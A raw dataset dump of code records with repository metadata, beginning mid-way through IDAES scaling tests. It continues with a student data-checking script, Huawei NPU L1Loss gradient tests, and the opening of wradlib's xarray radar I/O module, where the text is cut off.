[1,2]\n            for var in cache.vars:\n                assert var in varset\n            m.v1.set_value(11)\n            m.v2.set_value(12)\n\n        assert m.v1.value == val1\n        assert m.v2.value == val2\n\n\nclass TestFlattenedScalingAssignment():\n    def set_initial_scaling_factors(self, m):\n        scaling_factor = m.scaling_factor\n        for var in m.z.values():\n            scaling_factor[var] = 0.1\n        for var in m.u.values():\n            scaling_factor[var] = 0.5\n\n    @pytest.fixture(scope=\"class\")\n    def model(self):\n        m = pyo.ConcreteModel()\n        m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.time = dae.ContinuousSet(bounds=(0,1))\n        m.space = dae.ContinuousSet(bounds=(0,1))\n        m.z = pyo.Var(m.time, m.space)\n        m.dz = dae.DerivativeVar(m.z, wrt=m.time)\n        m.y = pyo.Var(m.time, m.space)\n        m.u = pyo.Var(m.time)\n        m.s = pyo.Var()\n\n        def de_rule(m, t, x):\n            return m.dz[t,x] == 5*m.y[t,x] - 10*m.z[t,x]\n        m.de = pyo.Constraint(m.time, m.space, rule=de_rule)\n\n        def ae_rule(m, t, x):\n            return m.y[t,x] == 4 + m.z[t,x]**3\n        m.ae = pyo.Constraint(m.time, m.space, rule=ae_rule)\n\n        x0 = m.space.first()\n        def ue_rule(m, t):\n            return m.z[t,x0] == 2*m.u[t]\n        m.ue = pyo.Constraint(m.time, rule=ue_rule)\n\n        tf, xf = m.time.last(), m.space.last()\n        def se_rule(m):\n            return m.z[tf, xf] == m.s\n        m.se = pyo.Constraint(rule=se_rule)\n\n        return m\n\n    @pytest.mark.unit\n    def test_scale_2d(self, model):\n        m = model\n        scaling_factor = m.scaling_factor\n        self.set_initial_scaling_factors(m)\n\n        assignment = [\n                (m.y, m.ae),\n                (m.dz, m.de),\n                ]\n        scaler = sc.FlattenedScalingAssignment(scaling_factor, assignment, (0,0))\n\n        y = scaler.get_representative_data_object(m.y)\n        assert y is m.y[0,0]\n\n        for var in scaler.varlist:\n            scaler.calculate_variable_scaling_factor(var)\n\n        for var in m.y.values():\n            assert scaling_factor[var] == pytest.approx(1/(4+10**3))\n        nominal_y = 1/scaling_factor[y]\n\n        for var in m.dz.values():\n            assert scaling_factor[var] == pytest.approx(1/(5*nominal_y - 100))\n\n        for con in scaler.conlist:\n            scaler.set_constraint_scaling_factor(con)\n\n        for index, con in m.ae.items():\n            var = m.y[index]\n            assert scaling_factor[con] == scaling_factor[var]\n\n        for index, con in m.de.items():\n            var = m.dz[index]\n            assert scaling_factor[con] == scaling_factor[var]\n\n        scaler.set_derivative_factor_from_state(m.dz)\n        for index, dvar in m.dz.items():\n            z = m.z[index]\n            assert scaling_factor[z] == scaling_factor[dvar]\n\n    @pytest.mark.unit\n    def test_scale_1d(self, model):\n        m = model\n        scaling_factor = m.scaling_factor\n        self.set_initial_scaling_factors(m)\n\n        assignment = [\n                (m.u, m.ue),\n                ]\n        scaler = sc.FlattenedScalingAssignment(scaling_factor, assignment, 0)\n\n        u = scaler.get_representative_data_object(m.u)\n        assert u is m.u[0]\n\n        for var in scaler.varlist:\n            scaler.calculate_variable_scaling_factor(var)\n        for index, var in m.u.items():\n            z = m.z[index, 0]\n            assert scaling_factor[var] == pytest.approx(2*scaling_factor[z])\n\n        for con in scaler.conlist:\n            scaler.set_constraint_scaling_factor(con)\n        for index, con in m.ue.items():\n            u = m.u[index]\n            assert scaling_factor[con] == scaling_factor[u]\n\n    @pytest.mark.unit\n    def test_scale_0d(self, model):\n        m = model\n        scaling_factor = m.scaling_factor\n        self.set_initial_scaling_factors(m)\n\n        assignment = [\n                (m.s, m.se),\n                (m.y[0,0], m.ae[0,0]),\n                ]\n        scaler = sc.FlattenedScalingAssignment(scaling_factor, assignment, None)\n\n        s = scaler.get_representative_data_object(m.s)\n        y = scaler.get_representative_data_object(m.y[0,0])\n        assert s is m.s\n        assert y is m.y[0,0]\n\n        for var in scaler.varlist:\n            scaler.calculate_variable_scaling_factor(var)\n        tf, xf = m.time.last(), m.space.last()\n        assert scaling_factor[s] == scaling_factor[m.z[tf,xf]]\n\n        assert scaling_factor[y] == pytest.approx(1/(4+10**3))\n", "meta": {"hexsha": "331f96fd82a501302a827439ef791403745ac183", "size": 35550, "ext": "py", "lang": "Python", "max_stars_repo_path": "idaes/core/util/tests/test_scaling.py", "max_stars_repo_name": "michaelbynum/idaes-pse", "max_stars_repo_head_hexsha": "b9c7bc21d0d411657cbe448c40afdc96c41e3465", "max_stars_repo_licenses": ["RSA-MD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "idaes/core/util/tests/test_scaling.py", "max_issues_repo_name": "michaelbynum/idaes-pse", "max_issues_repo_head_hexsha": "b9c7bc21d0d411657cbe448c40afdc96c41e3465", "max_issues_repo_licenses": ["RSA-MD"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-02-27T00:40:54.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-01T13:51:55.000Z", "max_forks_repo_path": "idaes/core/util/tests/test_scaling.py", "max_forks_repo_name": "michaelbynum/idaes-pse", "max_forks_repo_head_hexsha": "b9c7bc21d0d411657cbe448c40afdc96c41e3465", "max_forks_repo_licenses": ["RSA-MD"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-09-10T16:00:58.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-10T16:00:58.000Z", "avg_line_length": 37.2641509434, "max_line_length": 83, "alphanum_fraction": 0.6336708861, "include": true, "reason": "import pyomo,from pyomo", "num_tokens": 10129, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.11124119914140751, "lm_q1q2_score": 0.05301529187071689}}
{"text": "'''\nThis file is used to test the data type,NAN value and the numbers of the roll\nDate: 11/6/2019\nAuthor: Siting Wang\n\ntypePerColumnsVerify: test the is one type of the columns satisfy the desired type;\ntypeMeasureAll: go over every column\ntestNan: test if one column has NAN value and return the position of the value\nVarifyNumberColumn:verify if the dataframe has at least one value;\n'''\nimport numpy as np\nimport pandas as pd\n\ndf = pd.read_csv(\"https://data.seattle.gov/api/views/tw7j-dfaw/rows.csv\")\n\ndef type_per_columns_verify(df_column, desired_type):\n    '''\n    # :param df_column: the column you want to test for consistence\n    # :param desired_type: Type\n    # :return:If the Column's data type is consistent return true;else return false\n    '''\n    for data_in_column in df_column:\n        if type(data_in_column) != desired_type:\n            print(data_in_column)\n            print(type(data_in_column))\n            return False\n        else:\n            return True\n\n\ndef type_measure_all(data_frame):\n    '''\n    # :param data_frame: Data frame to be tested\n    # :return: None\n    '''\n\n\n    for col in data_frame.columns:\n\n        if type(df[col][1]) == str:\n            type_name = str\n        else:\n            type_name = df[col][1].dtype\n\n        if type_per_columns_verify(df[col], type_name):\n            print(\"In columns %s, the column type is %s, it's consistant\" % (col, type_name))\n        else:\n            print(\"In columns %s, the column type is %s, it's not consistant\" % (col, type_name))\n\n\ntype_measure_all(df)\n\ndef test_nan(df_col):\n    '''\n    :param df_col: The column of a dataFrame\n    :return: If there is NAN value in the column\n    '''\n    for i in range(len(df_col)):\n        data_in_col = df_col[i]\n        if np.isnan(data_in_col):\n            print('NAN value at %d'%i)\n\ntest_nan(df['birthyear'])\n\ndef varify_number_column(data_frame):\n    '''\n    # :param data_frame: dataFrame to be tested\n    # :return: if the data frame has over 1 column\n    '''\n    if data_frame.shape[1] >= 1:\n        print(\"The data frame has at least one roll\")\n    return True\n\nvarify_number_column(df)\n", "meta": {"hexsha": "815a23c300faa5e5d0081c85419618c6cfd930de", "size": 2127, "ext": "py", "lang": "Python", "max_stars_repo_path": "hw4.py", "max_stars_repo_name": "UWSEDS/homework-4-documentation-and-style-Swang24t", "max_stars_repo_head_hexsha": "fbf2b4a4c2d1b745e0da9b54677ac4aa57c8fdb5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hw4.py", "max_issues_repo_name": "UWSEDS/homework-4-documentation-and-style-Swang24t", "max_issues_repo_head_hexsha": "fbf2b4a4c2d1b745e0da9b54677ac4aa57c8fdb5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-11-14T18:22:15.000Z", "max_issues_repo_issues_event_max_datetime": "2019-11-14T18:22:15.000Z", "max_forks_repo_path": "hw4.py", "max_forks_repo_name": "UWSEDS/homework-4-documentation-and-style-Swang24t", "max_forks_repo_head_hexsha": "fbf2b4a4c2d1b745e0da9b54677ac4aa57c8fdb5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.36, "max_line_length": 97, "alphanum_fraction": 0.6525622943, "include": true, "reason": "import numpy", "num_tokens": 539, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.11124119766818046, "lm_q1q2_score": 0.05301529116860685}}
{"text": "# Copyright (c) 2020, Huawei Technologies.All rights reserved.\n#\n# Licensed under the BSD 3-Clause License  (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://opensource.org/licenses/BSD-3-Clause\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport sys\nimport copy\nfrom common_utils import TestCase, run_tests\nfrom common_device_type import dtypes, instantiate_device_type_tests\nfrom util_test import create_common_tensor\n\n\nclass TestL1lossbackward(TestCase):\n\n    def cpu_op_exec(self, input1, input2, input3, reduction):\n        criterion = nn.L1Loss(reduction=reduction)\n        input2.requires_grad = True\n        loss = criterion(input2, input3)\n        if reduction == \"none\":\n          loss.backward(input1)\n        else:\n          loss.backward()\n        output = input2.grad.numpy()\n        return output\n\n    def npu_op_exec(self, input1, input2, input3, reduction):\n        input2.requires_grad = True\n        criterion = nn.L1Loss(reduction=reduction)\n        criterion = criterion.to(\"npu\")\n        loss = criterion(input2, input3)\n        if reduction == \"none\":\n          loss.backward(input1)\n        else:\n          loss.backward()\n        output = input2.grad.to(\"cpu\").numpy()\n        return output    \n    \n    def test_l1lossbackward_common_shape_format(self, device):\n        shape_format = [\n                [[np.float32, -1, (4)], [np.float32, -1, (4)],\n                 [np.float32, -1, (4)], \"none\"],\n                [[np.float32, -1, ()], [np.float32, -1, ()],\n                 [np.float32, -1, ()], \"none\"],\n                [[np.float32, -1, (4, 3)], [np.float32, -1, (4, 3)],\n                 [np.float32, -1, (4, 3)], \"sum\"],\n                [[np.float32, -1, (4, 1, 5)], [np.float32, -1, (4, 1, 5)],\n                 [np.float32, -1, (4, 1, 5)], \"mean\"],\n                [[np.float32, -1, (4, 3)], [np.float32, -1, (4, 3)],\n                 [np.float32, -1, (4, 3)], \"none\"],\n                [[np.float32, -1, (4, 1, 5)], [np.float32, -1, (4, 1, 5)],\n                 [np.float32, -1, (4, 1, 5)], \"none\"],\n                [[np.float32, -1, (110, 55)], [np.float32, -1, (110, 55)],\n                 [np.float32, -1, (110, 55)], \"none\"],\n                [[np.float32, -1, (11, 13, 12, 32)], [np.float32, -1, (11, 13, 12, 32)], \n                [np.float32, -1, (11, 13, 12, 32)], \"none\"], \n                [[np.float32, -1, (110, 55)], [np.float32, -1, (110, 55)],\n                 [np.float32, -1, (110, 55)], \"sum\"],\n                [[np.float32, -1, (11, 13, 12, 32)], [np.float32, -1, (11, 13, 12, 32)],\n                 [np.float32, -1, (11, 13, 12, 32)], \"sum\"],\n                [[np.float32, -1, (110, 55)], [np.float32, -1, (110, 55)],\n                 [np.float32, -1, (110, 55)], \"sum\"],\n                [[np.float32, 0, (11, 13, 12, 32)], [np.float32, 0, (11, 13, 12, 32)],\n                 [np.float32, 0, (11, 13, 12, 32)], \"mean\"],\n                [[np.float32, 3, (110, 55)], [np.float32, 4, (110, 55)],\n                 [np.float32, 4, (110, 55)], \"mean\"],\n                [[np.float32, 29, (11, 13, 12, 32)], [np.float32, 3, (11, 13, 12, 32)], \n                [np.float32, 4, (11, 13, 12, 32)], \"mean\"],\n        ]\n        for item in shape_format:\n            cpu_input1, npu_input1 = create_common_tensor(item[0], -1, 1)\n            cpu_input2, npu_input2 = create_common_tensor(item[1], -1, 1)\n            cpu_input3, npu_input3 = create_common_tensor(item[2], -1, 1)\n            \n            cpu_output = self.cpu_op_exec(cpu_input1, cpu_input2, cpu_input3, item[3])\n            npu_output = self.npu_op_exec(npu_input1, npu_input2, npu_input3, item[3])\n            self.assertRtolEqual(cpu_output, npu_output)  \n\n    def test_l1lossbackward_float16_shape_format(self, device):\n        def cpu_op_exec_fp16(input1, input2, input3, reduction):\n            input1 = input1.to(torch.float32)\n            input2 = input2.to(torch.float32)\n            input3 = input3.to(torch.float32)\n            input2.requires_grad = True\n            criterion = nn.L1Loss(reduction=reduction)\n            loss = criterion(input2, input3)\n            if reduction == \"none\":\n              loss.backward(input1)\n            else:\n              loss.backward()\n            output = input2.grad.numpy().astype(np.float16)\n            return output\n\n        shape_format = [\n                [[np.float16, -1, (4, 3)], [np.float16, -1, (4, 3)],\n                 [np.float16, -1, (4, 3)], \"none\"],\n                [[np.float16, -1, (4, 1, 5)], [np.float16, -1, (4, 1, 5)],\n                 [np.float16, -1, (4, 1, 5)], \"none\"],\n                [[np.float16, -1, (110, 55)], [np.float16, -1, (110, 55)],\n                 [np.float16, -1, (110, 55)], \"none\"],\n                [[np.float16, -1, (11, 13, 12, 32)], [np.float16, -1, (11, 13, 12, 32)], \n                 [np.float16, -1, (11, 13, 12, 32)], \"none\"],\n                [[np.float16, -1, (4, 3)], [np.float16, -1, (4, 3)],\n                 [np.float16, -1, (4, 3)], \"sum\"],\n                [[np.float16, -1, (4, 1, 5)], [np.float16, -1, (4, 1, 5)],\n                 [np.float16, -1, (4, 1, 5)], \"mean\"],\n                [[np.float16, -1, (11, 13, 12, 32)], [np.float16, -1, (11, 13, 12, 32)],\n                 [np.float16, -1, (11, 13, 12, 32)], \"none\"],\n                [[np.float16, -1, (110, 55)], [np.float16, -1, (110, 55)],\n                 [np.float16, -1, (110, 55)], \"sum\"],\n                [[np.float16, -1, (11, 13, 12, 32)], [np.float16, -1, (11, 13, 12, 32)],\n                 [np.float16, -1, (11, 13, 12, 32)], \"sum\"],\n                [[np.float16, -1, (110, 55)], [np.float16, -1, (110, 55)],\n                 [np.float16, -1, (110, 55)], \"sum\"],\n                [[np.float16, 0, (11, 13, 12, 32)], [np.float16, 0, (11, 13, 12, 32)],\n                 [np.float16, 0, (11, 13, 12, 32)], \"mean\"],\n                [[np.float16, 3, (110, 55)], [np.float16, 4, (110, 55)],\n                 [np.float16, 4, (110, 55)], \"mean\"],\n                [[np.float16, 29, (11, 13, 12, 32)], [np.float16, 3, (11, 13, 12, 32)],\n                 [np.float16, 4, (11, 13, 12, 32)], \"mean\"],\n        ]\n\n        for item in shape_format:\n            cpu_input1, npu_input1 = create_common_tensor(item[0], 0, 10000)\n            cpu_input2, npu_input2 = create_common_tensor(item[1], 0, 10000)\n            cpu_input3, npu_input3 = create_common_tensor(item[2], 0, 10000)\n            \n            cpu_output = cpu_op_exec_fp16(cpu_input1, cpu_input2, cpu_input3, item[3])\n            npu_output = self.npu_op_exec(npu_input1, npu_input2, npu_input3, item[3])\n            self.assertRtolEqual(cpu_output, npu_output)  \n\n\ninstantiate_device_type_tests(TestL1lossbackward, globals(), except_for='cpu')\nif __name__ == \"__main__\":\n    run_tests()", "meta": {"hexsha": "3fb7c7b4405f7c287e3de1841ecdd70d5b592388", "size": 7128, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_npu/test_network_ops/test_l1_loss_backward.py", "max_stars_repo_name": "Ascend/pytorch", "max_stars_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-02T03:07:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-02T03:07:35.000Z", "max_issues_repo_path": "test/test_npu/test_network_ops/test_l1_loss_backward.py", "max_issues_repo_name": "Ascend/pytorch", "max_issues_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-12T07:23:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-12T08:28:13.000Z", "max_forks_repo_path": "test/test_npu/test_network_ops/test_l1_loss_backward.py", "max_forks_repo_name": "Ascend/pytorch", "max_forks_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.8219178082, "max_line_length": 89, "alphanum_fraction": 0.5103815937, "include": true, "reason": "import numpy", "num_tokens": 2296, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37754066879814546, "lm_q2_score": 0.14033624589467186, "lm_q1q2_score": 0.05298264013169541}}
{"text": "#!/usr/bin/env python\n# Copyright (c) 2011-2021, wradlib developers.\n# Distributed under the MIT License. See LICENSE.txt for more info.\n\n\n\"\"\"\nXarray based Data I/O\n^^^^^^^^^^^^^^^^^^^^^\n\nReads data from netcdf-based CfRadial1, CfRadial2 and hdf5-based ODIM_H5 and\nother hdf5-flavours (GAMIC). More radar backends (sigmet, rainbow) will be\nimplemented too.\n\nWrites data to CfRadial2, ODIM_H5 or plain netCDF files.\n\nThis reader implementation uses\n\n* `xarray <https://xarray.pydata.org/>`_,\n* `netcdf4 <https://unidata.github.io/netcdf4-python/>`_,\n* `h5py <https://www.h5py.org/>`_ and\n* `h5netcdf <https://github.com/h5netcdf/h5netcdf>`_.\n\nCurrently there are three different approaches.\n\nThe recommended approach makes use of the newly implemented ``xarray.backends.BackendEntrypoint``.\nFor every radar source (CfRadial1, CfRadial2, GAMIC, ODIM) a specific backend is\nimplemented in wradlib which returns an specific `sweep` as ``xarray.Dataset``.\nConvenience functions (eg. ``wradlib.io.open_radar_dataset``) are available to read\nvolume data into shallow ``wradlib.io.RadarVolume``-wrapper.\n\nThe following two approaches are not recommended and will be removed from the codebase\nin wradlib v 2.0.0.\n\nIn the first approach the data is claimed using netcdf4-Dataset in a diskless\nnon-persistent mode as follows::\n\n    vol = io.xarray.OdimH5(ncfile)\n    # or\n    vol = io.xarray.CfRadial(ncfile)\n\nThe vol data structure holds one or many ['sweep_X'] xarray datasets, containing the\nsweep data. The root group xarray dataset which corresponds to the\nCfRadial2 root-group is available via the `.root`-object.\n\nThe writer implementation uses xarray for CfRadial2 output and relies on h5py\nfor the ODIM_H5 output.\n\nThe second approach reads ODIM files (metadata) into a *simple* accessible\nstructure::\n\n    vol = wradlib.io.open_odim(paths, loader='netcdf4', **kwargs)\n\nAll datafiles are accessed via the given loader ('netcdf4', 'h5py',\n'h5netcdf'). Only absolutely neccessary data is actually read in this process,\neg. acquisition time and elevation, to fill the structure accordingly. All\nsubsequent metadata retrievals are cached to further improve performance.\nActual data access is realised via xarray using engine 'netcdf4' or 'h5netcdf',\ndepending on the loader.\n\nSince for data handling xarray is utilized all xarray features can be\nexploited, like lazy-loading, pandas-like indexing on N-dimensional data and\nvectorized mathematical operations across multiple dimensions.\n\nExamples\n--------\n    See :ref:`/notebooks/fileio/wradlib_odim_multi_file_dataset.ipynb`.\n\nWarning\n-------\n    This implementation is considered experimental. Changes in the API should\n    be expected.\n\n.. autosummary::\n   :nosignatures:\n   :toctree: generated/\n\n   {}\n\"\"\"\n__all__ = [\n    \"WradlibVariable\",\n    \"RadarVolume\",\n    \"open_radar_dataset\",\n    \"open_radar_mfdataset\",\n    \"XRadVol\",\n    \"CfRadial\",\n    \"OdimH5\",\n    \"to_cfradial2\",\n    \"to_odim\",\n    \"to_netcdf\",\n    \"open_odim\",\n    \"XRadSweep\",\n    \"XRadMoment\",\n    \"XRadTimeSeries\",\n    \"XRadVolume\",\n    \"create_xarray_dataarray\",\n]\n__doc__ = __doc__.format(\"\\n   \".join(__all__))\n\nimport collections\nimport datetime as dt\nimport glob\nimport io\nimport os\nimport re\nimport warnings\nfrom distutils.version import LooseVersion\n\nimport dateutil\nimport deprecation\nimport h5netcdf\nimport h5py\nimport netCDF4 as nc\nimport numpy as np\nimport xarray as xr\nfrom xarray.backends.api import combine_by_coords\nfrom xarray.core.variable import Variable\n\nfrom wradlib import version\nfrom wradlib.georef import xarray\n\ntry:\n    from tqdm import tqdm\nexcept ImportError:\n\n    def tqdm(val, **kwargs):\n        print(\n            \"wradlib: Please wait for completion of time consuming task! \\n\"\n            \"wradlib: Please install 'tqdm' for showing a progress bar \"\n            \"instead.\"\n        )\n        return val\n\n\ndef raise_on_missing_xarray_backend():\n    \"\"\"Raise errors if functionality isn't available.\"\"\"\n    if LooseVersion(xr.__version__) < LooseVersion(\"0.17.0\"):\n        raise ImportError(\n            f\"'xarray>=0.17.0' needed to perform this operation. \"\n            f\"'xarray={xr.__version__}'  available.\",\n        )\n    elif LooseVersion(xr.__version__) < LooseVersion(\"0.18.2\"):\n        xarray_backend_api = os.environ.get(\"XARRAY_BACKEND_API\", None)\n        if xarray_backend_api is None:\n            os.environ[\"XARRAY_BACKEND_API\"] = \"v2\"\n        else:\n            if xarray_backend_api != \"v2\":\n                raise ValueError(\n                    \"Environment variable `XARRAY_BACKEND_API='v2'` needed to perform \"\n                    \"this operation. \"\n                )\n    else:\n        pass\n\n\nclass WradlibVariable(object):\n    \"\"\"Minimal variable wrapper.\"\"\"\n\n    def __init__(self, dims, data, attrs):\n        self._dimensions = dims\n        self._data = data\n        self._attrs = attrs\n\n    @property\n    def dimensions(self):\n        return self._dimensions\n\n    @property\n    def data(self):\n        return self._data\n\n    @property\n    def attributes(self):\n        return self._attrs\n\n\n@deprecation.deprecated(\n    deprecated_in=\"1.5\",\n    removed_in=\"2.0\",\n    current_version=version.version,\n    details=\"Use `wradlib.georef.create_xarray_dataarray` \" \"instead.\",\n)\ndef create_xarray_dataarray(*args, **kwargs):\n    return xarray.create_xarray_dataarray(*args, **kwargs)\n\n\nmoment_attrs = {\"standard_name\", \"long_name\", \"units\"}\n\n# CfRadial 2.0 - ODIM_H5 mapping\nmoments_mapping = {\n    \"DBZH\": {\n        \"standard_name\": \"radar_equivalent_reflectivity_factor_h\",\n        \"long_name\": \"Equivalent reflectivity factor H\",\n        \"short_name\": \"DBZH\",\n        \"units\": \"dBZ\",\n        \"gamic\": [\"zh\"],\n    },\n    \"DBZH_CLEAN\": {\n        \"standard_name\": \"radar_equivalent_reflectivity_factor_h\",\n        \"long_name\": \"Equivalent reflectivity factor H\",\n        \"short_name\": \"DBZH_CLEAN\",\n        \"units\": \"dBZ\",\n        \"gamic\": None,\n    },\n    \"DBZV\": {\n        \"standard_name\": \"radar_equivalent_reflectivity_factor_v\",\n        \"long_name\": \"Equivalent reflectivity factor V\",\n        \"short_name\": \"DBZV\",\n        \"units\": \"dBZ\",\n        \"gamic\": [\"zv\"],\n    },\n    \"ZH\": {\n        \"standard_name\": \"radar_linear_equivalent_reflectivity_factor_h\",\n        \"long_name\": \"Linear equivalent reflectivity factor H\",\n        \"short_name\": \"ZH\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"ZV\": {\n        \"standard_name\": \"radar_equivalent_reflectivity_factor_v\",\n        \"long_name\": \"Linear equivalent reflectivity factor V\",\n        \"short_name\": \"ZV\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"DBZ\": {\n        \"standard_name\": \"radar_equivalent_reflectivity_factor\",\n        \"long_name\": \"Equivalent reflectivity factor\",\n        \"short_name\": \"DBZ\",\n        \"units\": \"dBZ\",\n        \"gamic\": None,\n    },\n    \"DBTH\": {\n        \"standard_name\": \"radar_equivalent_reflectivity_factor_h\",\n        \"long_name\": \"Total power H (uncorrected reflectivity)\",\n        \"short_name\": \"DBTH\",\n        \"units\": \"dBZ\",\n        \"gamic\": [\"uzh\", \"uh\"],\n    },\n    \"DBTV\": {\n        \"standard_name\": \"radar_equivalent_reflectivity_factor_v\",\n        \"long_name\": \"Total power V (uncorrected reflectivity)\",\n        \"short_name\": \"DBTV\",\n        \"units\": \"dBZ\",\n        \"gamic\": [\"uzv\", \"uv\"],\n    },\n    \"TH\": {\n        \"standard_name\": \"radar_linear_equivalent_reflectivity_factor_h\",\n        \"long_name\": \"Linear total power H (uncorrected reflectivity)\",\n        \"short_name\": \"TH\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"TV\": {\n        \"standard_name\": \"radar_linear_equivalent_reflectivity_factor_v\",\n        \"long_name\": \"Linear total power V (uncorrected reflectivity)\",\n        \"short_name\": \"TV\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"VRADH\": {\n        \"standard_name\": \"radial_velocity_of_scatterers_away_\" \"from_instrument_h\",\n        \"long_name\": \"Radial velocity of scatterers away from instrument H\",\n        \"short_name\": \"VRADH\",\n        \"units\": \"meters per seconds\",\n        \"gamic\": [\"vh\"],\n    },\n    \"VRADV\": {\n        \"standard_name\": \"radial_velocity_of_scatterers_\" \"away_from_instrument_v\",\n        \"long_name\": \"Radial velocity of scatterers away from instrument V\",\n        \"short_name\": \"VRADV\",\n        \"units\": \"meters per second\",\n        \"gamic\": [\"vv\"],\n    },\n    \"VR\": {\n        \"standard_name\": \"radial_velocity_of_scatterers_away_\" \"from_instrument\",\n        \"long_name\": \"Radial velocity of scatterers away from instrument\",\n        \"short_name\": \"VR\",\n        \"units\": \"meters per seconds\",\n        \"gamic\": None,\n    },\n    \"VRAD\": {\n        \"standard_name\": \"radial_velocity_of_scatterers_away_\" \"from_instrument\",\n        \"long_name\": \"Radial velocity of scatterers away from instrument\",\n        \"short_name\": \"VRAD\",\n        \"units\": \"meters per seconds\",\n        \"gamic\": None,\n    },\n    \"VRADDH\": {\n        \"standard_name\": \"radial_velocity_of_scatterers_away_\" \"from_instrument_h\",\n        \"long_name\": \"Radial velocity of scatterers away from instrument H\",\n        \"short_name\": \"VRADDH\",\n        \"units\": \"meters per seconds\",\n        \"gamic\": None,\n    },\n    \"WRADH\": {\n        \"standard_name\": \"radar_doppler_spectrum_width_h\",\n        \"long_name\": \"Doppler spectrum width H\",\n        \"short_name\": \"WRADH\",\n        \"units\": \"meters per seconds\",\n        \"gamic\": [\"wh\"],\n    },\n    \"UWRADH\": {\n        \"standard_name\": \"radar_doppler_spectrum_width_h\",\n        \"long_name\": \"Doppler spectrum width H\",\n        \"short_name\": \"UWRADH\",\n        \"units\": \"meters per seconds\",\n        \"gamic\": [\"uwh\"],\n    },\n    \"WRADV\": {\n        \"standard_name\": \"radar_doppler_spectrum_width_v\",\n        \"long_name\": \"Doppler spectrum width V\",\n        \"short_name\": \"WRADV\",\n        \"units\": \"meters per second\",\n        \"gamic\": [\"wv\"],\n    },\n    \"WRAD\": {\n        \"standard_name\": \"radar_doppler_spectrum_width\",\n        \"long_name\": \"Doppler spectrum width\",\n        \"short_name\": \"WRAD\",\n        \"units\": \"meters per second\",\n        \"gamic\": None,\n    },\n    \"ZDR\": {\n        \"standard_name\": \"radar_differential_reflectivity_hv\",\n        \"long_name\": \"Log differential reflectivity H/V\",\n        \"short_name\": \"ZDR\",\n        \"units\": \"dB\",\n        \"gamic\": [\"zdr\"],\n    },\n    \"UZDR\": {\n        \"standard_name\": \"radar_differential_reflectivity_hv\",\n        \"long_name\": \"Log differential reflectivity H/V\",\n        \"short_name\": \"UZDR\",\n        \"units\": \"dB\",\n        \"gamic\": [\"uzdr\"],\n    },\n    \"LDR\": {\n        \"standard_name\": \"radar_linear_depolarization_ratio\",\n        \"long_name\": \"Log-linear depolarization ratio HV\",\n        \"short_name\": \"LDR\",\n        \"units\": \"dB\",\n        \"gamic\": [\"ldr\"],\n    },\n    \"PHIDP\": {\n        \"standard_name\": \"radar_differential_phase_hv\",\n        \"long_name\": \"Differential phase HV\",\n        \"short_name\": \"PHIDP\",\n        \"units\": \"degrees\",\n        \"gamic\": [\"phidp\"],\n    },\n    \"UPHIDP\": {\n        \"standard_name\": \"radar_differential_phase_hv\",\n        \"long_name\": \"Differential phase HV\",\n        \"short_name\": \"UPHIDP\",\n        \"units\": \"degrees\",\n        \"gamic\": [\"uphidp\"],\n    },\n    \"KDP\": {\n        \"standard_name\": \"radar_specific_differential_phase_hv\",\n        \"long_name\": \"Specific differential phase HV\",\n        \"short_name\": \"KDP\",\n        \"units\": \"degrees per kilometer\",\n        \"gamic\": [\"kdp\"],\n    },\n    \"RHOHV\": {\n        \"standard_name\": \"radar_correlation_coefficient_hv\",\n        \"long_name\": \"Correlation coefficient HV\",\n        \"short_name\": \"RHOHV\",\n        \"units\": \"unitless\",\n        \"gamic\": [\"rhohv\"],\n    },\n    \"URHOHV\": {\n        \"standard_name\": \"radar_correlation_coefficient_hv\",\n        \"long_name\": \"Correlation coefficient HV\",\n        \"short_name\": \"URHOHV\",\n        \"units\": \"unitless\",\n        \"gamic\": [\"urhohv\"],\n    },\n    \"SNRH\": {\n        \"standard_name\": \"signal_noise_ratio_h\",\n        \"long_name\": \"Signal Noise Ratio H\",\n        \"short_name\": \"SNRH\",\n        \"units\": 